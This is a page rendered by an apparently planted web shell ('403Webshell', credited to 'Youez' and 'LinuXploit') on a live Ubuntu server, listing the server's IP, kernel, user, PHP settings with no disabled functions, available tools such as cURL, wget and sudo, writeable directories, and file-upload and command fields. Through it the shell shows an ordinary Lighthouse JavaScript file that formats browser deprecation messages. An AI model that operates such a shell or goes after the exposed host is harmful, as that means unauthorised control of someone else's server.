403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/node_modules/lighthouse/core/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/node_modules/lighthouse/core/lib/deprecation-description.js
/**
 * @license
 * Copyright 2023 Google LLC
 * SPDX-License-Identifier: Apache-2.0
 */

import * as i18n from '../lib/i18n/i18n.js';
import {DEPRECATIONS_METADATA, UIStrings as DeprecationUIStrings} from './deprecations-strings.js';

const UIStrings = {
  // Store strings used across messages in this block.
  /**
   * @description This links to the chrome feature status page when one exists.
   */
  feature: 'Check the feature status page for more details.',
  /**
   * @description This links to the chromium dash schedule when a milestone is set.
   * @example {100} milestone
   */
  milestone: 'This change will go into effect with milestone {milestone}.',
  /**
   * @description Title of issue raised when a deprecated feature is used
   */
  title: 'Deprecated Feature Used',
};

const str_ = i18n.createIcuMessageFn(import.meta.url, UIStrings);
const deprecationsStr_ = i18n.createIcuMessageFn(
  'node_modules/@paulirish/trace_engine/generated/Deprecation.js', DeprecationUIStrings);

/**
 * @param {LH.Crdp.Audits.DeprecationIssueDetails} issueDetails
 */
function getIssueDetailDescription(issueDetails) {
  let message;
  const type = /** @type {keyof DEPRECATIONS_METADATA} */ (issueDetails.type);
  const maybeEnglishMessage = DeprecationUIStrings[type];
  if (maybeEnglishMessage) {
    message = deprecationsStr_(maybeEnglishMessage);
  }

  const links = [];
  /** @type {{chromeStatusFeature?: number, milestone?: number}|undefined} */
  const deprecationMeta = DEPRECATIONS_METADATA[type];
  const feature = deprecationMeta?.chromeStatusFeature ?? 0;
  if (feature !== 0) {
    links.push({
      link: `https://chromestatus.com/feature/${feature}`,
      linkTitle: str_(UIStrings.feature),
    });
  }
  const milestone = deprecationMeta?.milestone ?? 0;
  if (milestone !== 0) {
    links.push({
      link: 'https://chromiumdash.appspot.com/schedule',
      linkTitle: str_(UIStrings.milestone, {milestone}),
    });
  }
  return ({
    substitutions: new Map([
      ['PLACEHOLDER_title', str_(UIStrings.title)],
      ['PLACEHOLDER_message', message],
    ]),
    links,
    message,
  });
}

export {
  getIssueDetailDescription,
  UIStrings,
};

Youez - 2016 - github.com/yon3zu
LinuXploit